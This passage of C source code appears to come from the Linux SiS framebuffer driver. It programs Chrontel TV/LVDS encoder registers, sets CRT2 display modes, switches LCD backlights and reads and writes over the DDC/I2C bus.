} tempbh = SiS_GetCH701x(SiS_Pr,0x74); if((tempbh == 0xf6) || (tempbh == 0xc7)) { tempbh = SiS_GetCH701x(SiS_Pr,0x73); if(tempbh == 0xc8) { if(SiS_Pr->SiS_LCDResInfo == Panel_1024x768) return; } else if(tempbh == 0xdb) { if(SiS_Pr->SiS_LCDResInfo == Panel_1280x1024) return; if(SiS_Pr->SiS_LCDResInfo == Panel_1400x1050) return; } else if(tempbh == 0xde) { if(SiS_Pr->SiS_LCDResInfo == Panel_1600x1200) return; } } if(SiS_Pr->ChipType == SIS_740) tempbh = 0x0d; else tempbh = 0x0c; for(i = 0; i < tempbh; i++) { SiS_SetCH701x(SiS_Pr, regtable[i], tableptr[i]); } SiS_ChrontelPowerSequencing(SiS_Pr); tempbh = SiS_GetCH701x(SiS_Pr,0x1e); tempbh |= 0xc0; SiS_SetCH701x(SiS_Pr,0x1e,tempbh); if(SiS_Pr->ChipType == SIS_740) { tempbh = SiS_GetCH701x(SiS_Pr,0x1c); tempbh &= 0xfb; SiS_SetCH701x(SiS_Pr,0x1c,tempbh); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x2d,0x03); tempbh = SiS_GetCH701x(SiS_Pr,0x64); tempbh |= 0x40; SiS_SetCH701x(SiS_Pr,0x64,tempbh); tempbh = SiS_GetCH701x(SiS_Pr,0x03); tempbh &= 0x3f; SiS_SetCH701x(SiS_Pr,0x03,tempbh); } } static void SiS_ChrontelResetVSync(struct SiS_Private *SiS_Pr) { unsigned char temp, temp1; temp1 = SiS_GetCH701x(SiS_Pr,0x49); SiS_SetCH701x(SiS_Pr,0x49,0x3e); temp = SiS_GetCH701x(SiS_Pr,0x47); temp &= 0x7f; /* Use external VSYNC */ SiS_SetCH701x(SiS_Pr,0x47,temp); SiS_LongDelay(SiS_Pr, 3); temp = SiS_GetCH701x(SiS_Pr,0x47); temp |= 0x80; /* Use internal VSYNC */ SiS_SetCH701x(SiS_Pr,0x47,temp); SiS_SetCH701x(SiS_Pr,0x49,temp1); } static void SiS_Chrontel701xOn(struct SiS_Private *SiS_Pr) { unsigned short temp; if(SiS_Pr->SiS_IF_DEF_CH70xx == 2) { if(SiS_Pr->ChipType == SIS_740) { temp = SiS_GetCH701x(SiS_Pr,0x1c); temp |= 0x04; /* Invert XCLK phase */ SiS_SetCH701x(SiS_Pr,0x1c,temp); } if(SiS_IsYPbPr(SiS_Pr)) { temp = SiS_GetCH701x(SiS_Pr,0x01); temp &= 0x3f; temp |= 0x80; /* Enable YPrPb (HDTV) */ SiS_SetCH701x(SiS_Pr,0x01,temp); } if(SiS_IsChScart(SiS_Pr)) { temp = SiS_GetCH701x(SiS_Pr,0x01); temp &= 0x3f; temp |= 0xc0; /* Enable SCART + CVBS */ SiS_SetCH701x(SiS_Pr,0x01,temp); } if(SiS_Pr->ChipType == SIS_740) { SiS_ChrontelResetVSync(SiS_Pr); SiS_SetCH701x(SiS_Pr,0x49,0x20); /* Enable TV path */ } else { SiS_SetCH701x(SiS_Pr,0x49,0x20); /* Enable TV path */ temp = SiS_GetCH701x(SiS_Pr,0x49); if(SiS_IsYPbPr(SiS_Pr)) { temp = SiS_GetCH701x(SiS_Pr,0x73); temp |= 0x60; SiS_SetCH701x(SiS_Pr,0x73,temp); } temp = SiS_GetCH701x(SiS_Pr,0x47); temp &= 0x7f; SiS_SetCH701x(SiS_Pr,0x47,temp); SiS_LongDelay(SiS_Pr, 2); temp = SiS_GetCH701x(SiS_Pr,0x47); temp |= 0x80; SiS_SetCH701x(SiS_Pr,0x47,temp); } } } static void SiS_Chrontel701xOff(struct SiS_Private *SiS_Pr) { unsigned short temp; /* Complete power down of LVDS */ if(SiS_Pr->SiS_IF_DEF_CH70xx == 2) { if(SiS_Pr->ChipType == SIS_740) { SiS_LongDelay(SiS_Pr, 1); SiS_GenericDelay(SiS_Pr, 5887); SiS_SetCH701x(SiS_Pr,0x76,0xac); SiS_SetCH701x(SiS_Pr,0x66,0x00); } else { SiS_LongDelay(SiS_Pr, 2); temp = SiS_GetCH701x(SiS_Pr,0x76); temp &= 0xfc; SiS_SetCH701x(SiS_Pr,0x76,temp); SiS_SetCH701x(SiS_Pr,0x66,0x00); } } } static void SiS_ChrontelResetDB(struct SiS_Private *SiS_Pr) { unsigned short temp; if(SiS_Pr->ChipType == SIS_740) { temp = SiS_GetCH701x(SiS_Pr,0x4a); /* Version ID */ temp &= 0x01; if(!temp) { if(SiS_WeHaveBacklightCtrl(SiS_Pr)) { temp = SiS_GetCH701x(SiS_Pr,0x49); SiS_SetCH701x(SiS_Pr,0x49,0x3e); } /* Reset Chrontel 7019 datapath */ SiS_SetCH701x(SiS_Pr,0x48,0x10); SiS_LongDelay(SiS_Pr, 1); SiS_SetCH701x(SiS_Pr,0x48,0x18); if(SiS_WeHaveBacklightCtrl(SiS_Pr)) { SiS_ChrontelResetVSync(SiS_Pr); SiS_SetCH701x(SiS_Pr,0x49,temp); } } else { /* Clear/set/clear GPIO */ temp = SiS_GetCH701x(SiS_Pr,0x5c); temp &= 0xef; SiS_SetCH701x(SiS_Pr,0x5c,temp); temp = SiS_GetCH701x(SiS_Pr,0x5c); temp |= 0x10; SiS_SetCH701x(SiS_Pr,0x5c,temp); temp = SiS_GetCH701x(SiS_Pr,0x5c); temp &= 0xef; SiS_SetCH701x(SiS_Pr,0x5c,temp); temp = SiS_GetCH701x(SiS_Pr,0x61); if(!temp) { SiS_SetCH701xForLCD(SiS_Pr); } } } else { /* 650 */ /* Reset Chrontel 7019 datapath */ SiS_SetCH701x(SiS_Pr,0x48,0x10); SiS_LongDelay(SiS_Pr, 1); SiS_SetCH701x(SiS_Pr,0x48,0x18); } } static void SiS_ChrontelInitTVVSync(struct SiS_Private *SiS_Pr) { unsigned short temp; if(SiS_Pr->ChipType == SIS_740) { if(SiS_WeHaveBacklightCtrl(SiS_Pr)) { SiS_ChrontelResetVSync(SiS_Pr); } } else { SiS_SetCH701x(SiS_Pr,0x76,0xaf); /* Power up LVDS block */ temp = SiS_GetCH701x(SiS_Pr,0x49); temp &= 1; if(temp != 1) { /* TV block powered? (0 = yes, 1 = no) */ temp = SiS_GetCH701x(SiS_Pr,0x47); temp &= 0x70; SiS_SetCH701x(SiS_Pr,0x47,temp); /* enable VSYNC */ SiS_LongDelay(SiS_Pr, 3); temp = SiS_GetCH701x(SiS_Pr,0x47); temp |= 0x80; SiS_SetCH701x(SiS_Pr,0x47,temp); /* disable VSYNC */ } } } static void SiS_ChrontelDoSomething3(struct SiS_Private *SiS_Pr, unsigned short ModeNo) { unsigned short temp,temp1; if(SiS_Pr->ChipType == SIS_740) { temp = SiS_GetCH701x(SiS_Pr,0x61); if(temp < 1) { temp++; SiS_SetCH701x(SiS_Pr,0x61,temp); } SiS_SetCH701x(SiS_Pr,0x66,0x45); /* Panel power on */ SiS_SetCH701x(SiS_Pr,0x76,0xaf); /* All power on */ SiS_LongDelay(SiS_Pr, 1); SiS_GenericDelay(SiS_Pr, 5887); } else { /* 650 */ temp1 = 0; temp = SiS_GetCH701x(SiS_Pr,0x61); if(temp < 2) { temp++; SiS_SetCH701x(SiS_Pr,0x61,temp); temp1 = 1; } SiS_SetCH701x(SiS_Pr,0x76,0xac); temp = SiS_GetCH701x(SiS_Pr,0x66); temp |= 0x5f; SiS_SetCH701x(SiS_Pr,0x66,temp); if(ModeNo > 0x13) { if(SiS_WeHaveBacklightCtrl(SiS_Pr)) { SiS_GenericDelay(SiS_Pr, 1023); } else { SiS_GenericDelay(SiS_Pr, 767); } } else { if(!temp1) SiS_GenericDelay(SiS_Pr, 767); } temp = SiS_GetCH701x(SiS_Pr,0x76); temp |= 0x03; SiS_SetCH701x(SiS_Pr,0x76,temp); temp = SiS_GetCH701x(SiS_Pr,0x66); temp &= 0x7f; SiS_SetCH701x(SiS_Pr,0x66,temp); SiS_LongDelay(SiS_Pr, 1); } } static void SiS_ChrontelDoSomething2(struct SiS_Private *SiS_Pr) { unsigned short temp; SiS_LongDelay(SiS_Pr, 1); do { temp = SiS_GetCH701x(SiS_Pr,0x66); temp &= 0x04; /* PLL stable? -> bail out */ if(temp == 0x04) break; if(SiS_Pr->ChipType == SIS_740) { /* Power down LVDS output, PLL normal operation */ SiS_SetCH701x(SiS_Pr,0x76,0xac); } SiS_SetCH701xForLCD(SiS_Pr); temp = SiS_GetCH701x(SiS_Pr,0x76); temp &= 0xfb; /* Reset PLL */ SiS_SetCH701x(SiS_Pr,0x76,temp); SiS_LongDelay(SiS_Pr, 2); temp = SiS_GetCH701x(SiS_Pr,0x76); temp |= 0x04; /* PLL normal operation */ SiS_SetCH701x(SiS_Pr,0x76,temp); if(SiS_Pr->ChipType == SIS_740) { SiS_SetCH701x(SiS_Pr,0x78,0xe0); /* PLL loop filter */ } else { SiS_SetCH701x(SiS_Pr,0x78,0x60); } SiS_LongDelay(SiS_Pr, 2); } while(0); SiS_SetCH701x(SiS_Pr,0x77,0x00); /* MV? */ } static void SiS_ChrontelDoSomething1(struct SiS_Private *SiS_Pr) { unsigned short temp; temp = SiS_GetCH701x(SiS_Pr,0x03); temp |= 0x80; /* Set datapath 1 to TV */ temp &= 0xbf; /* Set datapath 2 to LVDS */ SiS_SetCH701x(SiS_Pr,0x03,temp); if(SiS_Pr->ChipType == SIS_740) { temp = SiS_GetCH701x(SiS_Pr,0x1c); temp &= 0xfb; /* Normal XCLK phase */ SiS_SetCH701x(SiS_Pr,0x1c,temp); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x2d,0x03); temp = SiS_GetCH701x(SiS_Pr,0x64); temp |= 0x40; /* ? Bit not defined */ SiS_SetCH701x(SiS_Pr,0x64,temp); temp = SiS_GetCH701x(SiS_Pr,0x03); temp &= 0x3f; /* D1 input to both LVDS and TV */ SiS_SetCH701x(SiS_Pr,0x03,temp); if(SiS_Pr->SiS_CustomT == CUT_ASUSL3000D) { SiS_SetCH701x(SiS_Pr,0x63,0x40); /* LVDS off */ SiS_LongDelay(SiS_Pr, 1); SiS_SetCH701x(SiS_Pr,0x63,0x00); /* LVDS on */ SiS_ChrontelResetDB(SiS_Pr); SiS_ChrontelDoSomething2(SiS_Pr); SiS_ChrontelDoSomething3(SiS_Pr, 0); } else { temp = SiS_GetCH701x(SiS_Pr,0x66); if(temp != 0x45) { SiS_ChrontelResetDB(SiS_Pr); SiS_ChrontelDoSomething2(SiS_Pr); SiS_ChrontelDoSomething3(SiS_Pr, 0); } } } else { /* 650 */ SiS_ChrontelResetDB(SiS_Pr); SiS_ChrontelDoSomething2(SiS_Pr); temp = SiS_GetReg(SiS_Pr->SiS_P3d4,0x34); SiS_ChrontelDoSomething3(SiS_Pr,temp); SiS_SetCH701x(SiS_Pr,0x76,0xaf); /* All power on, LVDS normal operation */ } } #endif /* 315 series */ /*********************************************/ /* MAIN: SET CRT2 REGISTER GROUP */ /*********************************************/ bool SiS_SetCRT2Group(struct SiS_Private *SiS_Pr, unsigned short ModeNo) { #ifdef CONFIG_FB_SIS_300 unsigned char *ROMAddr = SiS_Pr->VirtualRomBase; #endif unsigned short ModeIdIndex, RefreshRateTableIndex; SiS_Pr->SiS_SetFlag |= ProgrammingCRT2; if(!SiS_Pr->UseCustomMode) { SiS_SearchModeID(SiS_Pr, &ModeNo, &ModeIdIndex); } else { ModeIdIndex = 0; } /* Used for shifting CR33 */ SiS_Pr->SiS_SelectCRT2Rate = 4; SiS_UnLockCRT2(SiS_Pr); RefreshRateTableIndex = SiS_GetRatePtr(SiS_Pr, ModeNo, ModeIdIndex); SiS_SaveCRT2Info(SiS_Pr,ModeNo); if(SiS_Pr->SiS_SetFlag & LowModeTests) { SiS_DisableBridge(SiS_Pr); if((SiS_Pr->SiS_IF_DEF_LVDS == 1) && (SiS_Pr->ChipType == SIS_730)) { SiS_SetReg(SiS_Pr->SiS_Part1Port,0x00,0x80); } SiS_SetCRT2ModeRegs(SiS_Pr, ModeNo, ModeIdIndex); } if(SiS_Pr->SiS_VBInfo & DisableCRT2Display) { SiS_LockCRT2(SiS_Pr); SiS_DisplayOn(SiS_Pr); return true; } SiS_GetCRT2Data(SiS_Pr, ModeNo, ModeIdIndex, RefreshRateTableIndex); /* Set up Panel Link for LVDS and LCDA */ SiS_Pr->SiS_LCDHDES = SiS_Pr->SiS_LCDVDES = 0; if( (SiS_Pr->SiS_IF_DEF_LVDS == 1) || ((SiS_Pr->SiS_VBType & VB_NoLCD) && (SiS_Pr->SiS_VBInfo & SetCRT2ToLCD)) || ((SiS_Pr->ChipType >= SIS_315H) && (SiS_Pr->SiS_VBType & VB_SIS30xBLV)) ) { SiS_GetLVDSDesData(SiS_Pr, ModeNo, ModeIdIndex, RefreshRateTableIndex); } if(SiS_Pr->SiS_SetFlag & LowModeTests) { SiS_SetGroup1(SiS_Pr, ModeNo, ModeIdIndex, RefreshRateTableIndex); } if(SiS_Pr->SiS_VBType & VB_SISVB) { if(SiS_Pr->SiS_SetFlag & LowModeTests) { SiS_SetGroup2(SiS_Pr, ModeNo, ModeIdIndex, RefreshRateTableIndex); #ifdef CONFIG_FB_SIS_315 SiS_SetGroup2_C_ELV(SiS_Pr, ModeNo, ModeIdIndex, RefreshRateTableIndex); #endif SiS_SetGroup3(SiS_Pr, ModeNo, ModeIdIndex); SiS_SetGroup4(SiS_Pr, ModeNo, ModeIdIndex, RefreshRateTableIndex); #ifdef CONFIG_FB_SIS_315 SiS_SetGroup4_C_ELV(SiS_Pr, ModeNo, ModeIdIndex); #endif SiS_SetGroup5(SiS_Pr, ModeNo, ModeIdIndex); SiS_SetCRT2Sync(SiS_Pr, ModeNo, RefreshRateTableIndex); /* For 301BDH (Panel link initialization): */ if((SiS_Pr->SiS_VBType & VB_NoLCD) && (SiS_Pr->SiS_VBInfo & SetCRT2ToLCD)) { if(!((SiS_Pr->SiS_SetFlag & SetDOSMode) && ((ModeNo == 0x03) || (ModeNo == 0x10)))) { if(SiS_Pr->SiS_VBInfo & SetInSlaveMode) { SiS_ModCRT1CRTC(SiS_Pr, ModeNo, ModeIdIndex, RefreshRateTableIndex); } } SiS_SetCRT2ECLK(SiS_Pr, ModeNo, ModeIdIndex, RefreshRateTableIndex); } } } else { SiS_SetCRT2Sync(SiS_Pr, ModeNo, RefreshRateTableIndex); SiS_ModCRT1CRTC(SiS_Pr,ModeNo,ModeIdIndex,RefreshRateTableIndex); SiS_SetCRT2ECLK(SiS_Pr,ModeNo,ModeIdIndex,RefreshRateTableIndex); if(SiS_Pr->SiS_SetFlag & LowModeTests) { if(SiS_Pr->SiS_IF_DEF_CH70xx != 0) { if(SiS_Pr->SiS_VBInfo & (SetCRT2ToLCD | SetCRT2ToLCDA)) { if(SiS_Pr->SiS_IF_DEF_CH70xx == 2) { #ifdef CONFIG_FB_SIS_315 SiS_SetCH701xForLCD(SiS_Pr); #endif } } if(SiS_Pr->SiS_VBInfo & SetCRT2ToTV) { SiS_SetCHTVReg(SiS_Pr,ModeNo,ModeIdIndex,RefreshRateTableIndex); } } } } #ifdef CONFIG_FB_SIS_300 if(SiS_Pr->ChipType < SIS_315H) { if(SiS_Pr->SiS_SetFlag & LowModeTests) { if(SiS_Pr->SiS_UseOEM) { if((SiS_Pr->SiS_UseROM) && (SiS_Pr->SiS_UseOEM == -1)) { if((ROMAddr[0x233] == 0x12) && (ROMAddr[0x234] == 0x34)) { SiS_OEM300Setting(SiS_Pr, ModeNo, ModeIdIndex, RefreshRateTableIndex); } } else { SiS_OEM300Setting(SiS_Pr, ModeNo, ModeIdIndex, RefreshRateTableIndex); } } if(SiS_Pr->SiS_IF_DEF_LVDS == 1) { if((SiS_Pr->SiS_CustomT == CUT_BARCO1366) || (SiS_Pr->SiS_CustomT == CUT_BARCO1024)) { SetOEMLCDData2(SiS_Pr, ModeNo, ModeIdIndex,RefreshRateTableIndex); } SiS_DisplayOn(SiS_Pr); } } } #endif #ifdef CONFIG_FB_SIS_315 if(SiS_Pr->ChipType >= SIS_315H) { if(SiS_Pr->SiS_SetFlag & LowModeTests) { if(SiS_Pr->ChipType < SIS_661) { SiS_FinalizeLCD(SiS_Pr, ModeNo, ModeIdIndex); SiS_OEM310Setting(SiS_Pr, ModeNo, ModeIdIndex, RefreshRateTableIndex); } else { SiS_OEM661Setting(SiS_Pr, ModeNo, ModeIdIndex, RefreshRateTableIndex); } SiS_SetRegOR(SiS_Pr->SiS_Part1Port,0x01,0x40); } } #endif if(SiS_Pr->SiS_SetFlag & LowModeTests) { SiS_EnableBridge(SiS_Pr); } SiS_DisplayOn(SiS_Pr); if(SiS_Pr->SiS_IF_DEF_CH70xx == 1) { if(SiS_Pr->SiS_VBInfo & SetCRT2ToTV) { /* Disable LCD panel when using TV */ SiS_SetRegSR11ANDOR(SiS_Pr,0xFF,0x0C); } else { /* Disable TV when using LCD */ SiS_SetCH70xxANDOR(SiS_Pr,0x0e,0x01,0xf8); } } if(SiS_Pr->SiS_SetFlag & LowModeTests) { SiS_LockCRT2(SiS_Pr); } return true; } /*********************************************/ /* ENABLE/DISABLE LCD BACKLIGHT (SIS) */ /*********************************************/ void SiS_SiS30xBLOn(struct SiS_Private *SiS_Pr) { /* Switch on LCD backlight on SiS30xLV */ SiS_DDC2Delay(SiS_Pr,0xff00); if(!(SiS_GetReg(SiS_Pr->SiS_Part4Port,0x26) & 0x02)) { SiS_SetRegOR(SiS_Pr->SiS_Part4Port,0x26,0x02); SiS_WaitVBRetrace(SiS_Pr); } if(!(SiS_GetReg(SiS_Pr->SiS_Part4Port,0x26) & 0x01)) { SiS_SetRegOR(SiS_Pr->SiS_Part4Port,0x26,0x01); } } void SiS_SiS30xBLOff(struct SiS_Private *SiS_Pr) { /* Switch off LCD backlight on SiS30xLV */ SiS_SetRegAND(SiS_Pr->SiS_Part4Port,0x26,0xFE); SiS_DDC2Delay(SiS_Pr,0xff00); } /*********************************************/ /* DDC RELATED FUNCTIONS */ /*********************************************/ static void SiS_SetupDDCN(struct SiS_Private *SiS_Pr) { SiS_Pr->SiS_DDC_NData = ~SiS_Pr->SiS_DDC_Data; SiS_Pr->SiS_DDC_NClk = ~SiS_Pr->SiS_DDC_Clk; if((SiS_Pr->SiS_DDC_Index == 0x11) && (SiS_Pr->SiS_SensibleSR11)) { SiS_Pr->SiS_DDC_NData &= 0x0f; SiS_Pr->SiS_DDC_NClk &= 0x0f; } } #ifdef CONFIG_FB_SIS_300 static unsigned char * SiS_SetTrumpBlockLoop(struct SiS_Private *SiS_Pr, unsigned char *dataptr) { int i, j, num; unsigned short tempah,temp; unsigned char *mydataptr; for(i=0; i<20; i++) { /* Do 20 attempts to write */ mydataptr = dataptr; num = *mydataptr++; if(!num) return mydataptr; if(i) { SiS_SetStop(SiS_Pr); SiS_DDC2Delay(SiS_Pr,SiS_I2CDELAYSHORT * 2); } if(SiS_SetStart(SiS_Pr)) continue; /* Set start condition */ tempah = SiS_Pr->SiS_DDC_DeviceAddr; temp = SiS_WriteDDC2Data(SiS_Pr,tempah); /* Write DAB (S0=0=write) */ if(temp) continue; /* (ERROR: no ack) */ tempah = *mydataptr++; temp = SiS_WriteDDC2Data(SiS_Pr,tempah); /* Write register number */ if(temp) continue; /* (ERROR: no ack) */ for(j=0; j<num; j++) { tempah = *mydataptr++; temp = SiS_WriteDDC2Data(SiS_Pr,tempah);/* Write DAB (S0=0=write) */ if(temp) break; } if(temp) continue; if(SiS_SetStop(SiS_Pr)) continue; return mydataptr; } return NULL; } static bool SiS_SetTrumpionBlock(struct SiS_Private *SiS_Pr, unsigned char *dataptr) { SiS_Pr->SiS_DDC_DeviceAddr = 0xF0; /* DAB (Device Address Byte) */ SiS_Pr->SiS_DDC_Index = 0x11; /* Bit 0 = SC; Bit 1 = SD */ SiS_Pr->SiS_DDC_Data = 0x02; /* Bitmask in IndexReg for Data */ SiS_Pr->SiS_DDC_Clk = 0x01; /* Bitmask in IndexReg for Clk */ SiS_SetupDDCN(SiS_Pr); SiS_SetSwitchDDC2(SiS_Pr); while(*dataptr) { dataptr = SiS_SetTrumpBlockLoop(SiS_Pr, dataptr); if(!dataptr) return false; } return true; } #endif /* The Chrontel 700x is connected to the 630/730 via * the 630/730's DDC/I2C port. * * On 630(S)T chipset, the index changed from 0x11 to * 0x0a, possibly for working around the DDC problems */ static bool SiS_SetChReg(struct SiS_Private *SiS_Pr, unsigned short reg, unsigned char val, unsigned short myor) { unsigned short temp, i; for(i=0; i<20; i++) { /* Do 20 attempts to write */ if(i) { SiS_SetStop(SiS_Pr); SiS_DDC2Delay(SiS_Pr,SiS_I2CDELAYSHORT * 4); } if(SiS_SetStart(SiS_Pr)) continue; /* Set start condition */ temp = SiS_WriteDDC2Data(SiS_Pr, SiS_Pr->SiS_DDC_DeviceAddr); /* Write DAB (S0=0=write) */ if(temp) continue; /* (ERROR: no ack) */ temp = SiS_WriteDDC2Data(SiS_Pr, (reg | myor)); /* Write RAB (700x: set bit 7, see datasheet) */ if(temp) continue; /* (ERROR: no ack) */ temp = SiS_WriteDDC2Data(SiS_Pr, val); /* Write data */ if(temp) continue; /* (ERROR: no ack) */ if(SiS_SetStop(SiS_Pr)) continue; /* Set stop condition */ SiS_Pr->SiS_ChrontelInit = 1; return true; } return false; } /* Write to Chrontel 700x */ void SiS_SetCH700x(struct SiS_Private *SiS_Pr, unsigned short reg, unsigned char val) { SiS_Pr->SiS_DDC_DeviceAddr = 0xEA; /* DAB (Device Address Byte) */ SiS_DDC2Delay(SiS_Pr,SiS_I2CDELAYSHORT); if(!(SiS_Pr->SiS_ChrontelInit)) { SiS_Pr->SiS_DDC_Index = 0x11; /* Bit 0 = SC; Bit 1 = SD */ SiS_Pr->SiS_DDC_Data = 0x02; /* Bitmask in IndexReg for Data */ SiS_Pr->SiS_DDC_Clk = 0x01; /* Bitmask in IndexReg for Clk */ SiS_SetupDDCN(SiS_Pr); } if( (!(SiS_SetChReg(SiS_Pr, reg, val, 0x80))) && (!(SiS_Pr->SiS_ChrontelInit)) ) { SiS_Pr->SiS_DDC_Index = 0x0a; SiS_Pr->SiS_DDC_Data = 0x80; SiS_Pr->SiS_DDC_Clk = 0x40; SiS_SetupDDCN(SiS_Pr); SiS_SetChReg(SiS_Pr, reg, val, 0x80); } } /* Write to Chrontel 701x */ /* Parameter is [Data (S15-S8) | Register no (S7-S0)] */ void SiS_SetCH701x(struct SiS_Private *SiS_Pr, unsigned short reg, unsigned char val) { SiS_Pr->SiS_DDC_Index = 0x11; /* Bit 0 = SC; Bit 1 = SD */ SiS_Pr->SiS_DDC_Data = 0x08; /* Bitmask in IndexReg for Data */ SiS_Pr->SiS_DDC_Clk = 0x04; /* Bitmask in IndexReg for Clk */ SiS_SetupDDCN(SiS_Pr); SiS_Pr->SiS_DDC_DeviceAddr = 0xEA; /* DAB (Device Address Byte) */ SiS_SetChReg(SiS_Pr, reg, val, 0); } static void SiS_SetCH70xx(struct SiS_Private *SiS_Pr, unsigned short reg, unsigned char val) { if(SiS_Pr->SiS_IF_DEF_CH70xx == 1) SiS_SetCH700x(SiS_Pr, reg, val); else SiS_SetCH701x(SiS_Pr, reg, val); } static unsigned short SiS_GetChReg(struct SiS_Private *SiS_Pr, unsigned short myor) { unsigned short tempah, temp, i; for(i=0; i<20; i++) { /* Do 20 attempts to read */ if(i) { SiS_SetStop(SiS_Pr); SiS_DDC2Delay(SiS_Pr,SiS_I2CDELAYSHORT * 4); } if(SiS_SetStart(SiS_Pr)) continue; /* Set start condition */ temp = SiS_WriteDDC2Data(SiS_Pr,SiS_Pr->SiS_DDC_DeviceAddr); /* Write DAB (S0=0=write) */ if(temp) continue; /* (ERROR: no ack) */ temp = SiS_WriteDDC2Data(SiS_Pr,SiS_Pr->SiS_DDC_ReadAddr | myor); /* Write RAB (700x: | 0x80) */ if(temp) continue; /* (ERROR: no ack) */ if (SiS_SetStart(SiS_Pr)) continue; /* Re-start */ temp = SiS_WriteDDC2Data(SiS_Pr,SiS_Pr->SiS_DDC_DeviceAddr | 0x01);/* DAB (S0=1=read) */ if(temp) continue; /* (ERROR: no ack) */ tempah = SiS_ReadDDC2Data(SiS_Pr); /* Read byte */ if(SiS_SetStop(SiS_Pr)) continue; /* Stop condition */ SiS_Pr->SiS_ChrontelInit = 1; return tempah; } return 0xFFFF; } /* Read from Chrontel 700x */ /* Parameter is [Register no (S7-S0)] */ unsigned short SiS_GetCH700x(struct SiS_Private *SiS_Pr, unsigned short tempbx) { unsigned short result; SiS_Pr->SiS_DDC_DeviceAddr = 0xEA; /* DAB */ SiS_DDC2Delay(SiS_Pr,SiS_I2CDELAYSHORT); if(!(SiS_Pr->SiS_ChrontelInit)) { SiS_Pr->SiS_DDC_Index = 0x11; /* Bit 0 = SC; Bit 1 = SD */ SiS_Pr->SiS_DDC_Data = 0x02; /* Bitmask in IndexReg for Data */ SiS_Pr->SiS_DDC_Clk = 0x01; /* Bitmask in IndexReg for Clk */ SiS_SetupDDCN(SiS_Pr); } SiS_Pr->SiS_DDC_ReadAddr = tempbx; if( ((result = SiS_GetChReg(SiS_Pr,0x80)) == 0xFFFF) && (!SiS_Pr->SiS_ChrontelInit) ) { SiS_Pr->SiS_DDC_Index = 0x0a; SiS_Pr->SiS_DDC_Data = 0x80; SiS_Pr->SiS_DDC_Clk = 0x40; SiS_SetupDDCN(SiS_Pr); result = SiS_GetChReg(SiS_Pr,0x80); } return result; } /* Read from Chrontel 701x */ /* Parameter is [Register no (S7-S0)] */ unsigned short SiS_GetCH701x(struct SiS_Private *SiS_Pr, unsigned short tempbx) { SiS_Pr->SiS_DDC_Index = 0x11; /* Bit 0 = SC; Bit 1 = SD */ SiS_Pr->SiS_DDC_Data = 0x08; /* Bitmask in IndexReg for Data */ SiS_Pr->SiS_DDC_Clk = 0x04; /* Bitmask in IndexReg for Clk */ SiS_SetupDDCN(SiS_Pr); SiS_Pr->SiS_DDC_DeviceAddr = 0xEA; /* DAB */ SiS_Pr->SiS_DDC_ReadAddr = tempbx; return SiS_GetChReg(SiS_Pr,0); } /* Read from Chrontel 70xx */ /* Parameter is [Register no (S7-S0)] */ static unsigned short SiS_GetCH70xx(struct SiS_Private *SiS_Pr, unsigned short tempbx) { if(SiS_Pr->SiS_IF_DEF_CH70xx == 1) return SiS_GetCH700x(SiS_Pr, tempbx); else return SiS_GetCH701x(SiS_Pr, tempbx); } void SiS_SetCH70xxANDOR(struct SiS_Private *SiS_Pr, unsigned short reg, unsigned char myor, unsigned short myand) { unsigned short tempbl; tempbl = (SiS_GetCH70xx(SiS_Pr, (reg & 0xFF)) & myand) | myor; SiS_SetCH70xx(SiS_Pr, reg, tempbl); } /* Our own DDC functions */ static unsigned short SiS_InitDDCRegs(struct SiS_Private *SiS_Pr, unsigned int VBFlags, int VGAEngine, unsigned short adaptnum, unsigned short DDCdatatype, bool checkcr32, unsigned int VBFlags2) { unsigned char ddcdtype[] = { 0xa0, 0xa0, 0xa0, 0xa2, 0xa6 }; unsigned char flag, cr32; unsigned short temp = 0, myadaptnum = adaptnum; if(adaptnum != 0) { if(!(VBFlags2 & VB2_SISTMDSBRIDGE)) return 0xFFFF; if((VBFlags2 & VB2_30xBDH) && (adaptnum == 1)) return 0xFFFF; } /* adapternum for SiS bridges: 0 = CRT1, 1 = LCD, 2 = VGA2 */ SiS_Pr->SiS_ChrontelInit = 0; /* force re-detection! */ SiS_Pr->SiS_DDC_SecAddr = 0; SiS_Pr->SiS_DDC_DeviceAddr = ddcdtype[DDCdatatype]; SiS_Pr->SiS_DDC_Port = SiS_Pr->SiS_P3c4; SiS_Pr->SiS_DDC_Index = 0x11; flag = 0xff; cr32 = SiS_GetReg(SiS_Pr->SiS_P3d4,0x32); #if 0 if(VBFlags2 & VB2_SISBRIDGE) { if(myadaptnum == 0) { if(!(cr32 & 0x20)) { myadaptnum = 2; if(!(cr32 & 0x10)) { myadaptnum = 1; if(!(cr32 & 0x08)) { myadaptnum = 0; } } } } } #endif if(VGAEngine == SIS_300_VGA) { /* 300 series */ if(myadaptnum != 0) { flag = 0; if(VBFlags2 & VB2_SISBRIDGE) { SiS_Pr->SiS_DDC_Port = SiS_Pr->SiS_Part4Port; SiS_Pr->SiS_DDC_Index = 0x0f; } } if(!(VBFlags2 & VB2_301)) { if((cr32 & 0x80) && (checkcr32)) { if(myadaptnum >= 1) { if(!(cr32 & 0x08)) { myadaptnum = 1; if(!(cr32 & 0x10)) return 0xFFFF; } } } } temp = 4 - (myadaptnum * 2); if(flag) temp = 0; } else { /* 315/330 series */ /* here we simplify: 0 = CRT1, 1 = CRT2 (VGA, LCD) */ if(VBFlags2 & VB2_SISBRIDGE) { if(myadaptnum == 2) { myadaptnum = 1; } } if(myadaptnum == 1) { flag = 0; if(VBFlags2 & VB2_SISBRIDGE) { SiS_Pr->SiS_DDC_Port = SiS_Pr->SiS_Part4Port; SiS_Pr->SiS_DDC_Index = 0x0f; } } if((cr32 & 0x80) && (checkcr32)) { if(myadaptnum >= 1) { if(!(cr32 & 0x08)) { myadaptnum = 1; if(!(cr32 & 0x10)) return 0xFFFF; } } } temp = myadaptnum; if(myadaptnum == 1) { temp = 0; if(VBFlags2 & VB2_LVDS) flag = 0xff; } if(flag) temp = 0; } SiS_Pr->SiS_DDC_Data = 0x02 << temp; SiS_Pr->SiS_DDC_Clk = 0x01 << temp; SiS_SetupDDCN(SiS_Pr); return 0; } static unsigned short SiS_WriteDABDDC(struct SiS_Private *SiS_Pr) { if(SiS_SetStart(SiS_Pr)) return 0xFFFF; if(SiS_WriteDDC2Data(SiS_Pr, SiS_Pr->SiS_DDC_DeviceAddr)) { return 0xFFFF; } if(SiS_WriteDDC2Data(SiS_Pr, SiS_Pr->SiS_DDC_SecAddr)) { return 0xFFFF; } return 0; } static unsigned short SiS_PrepareReadDDC(struct 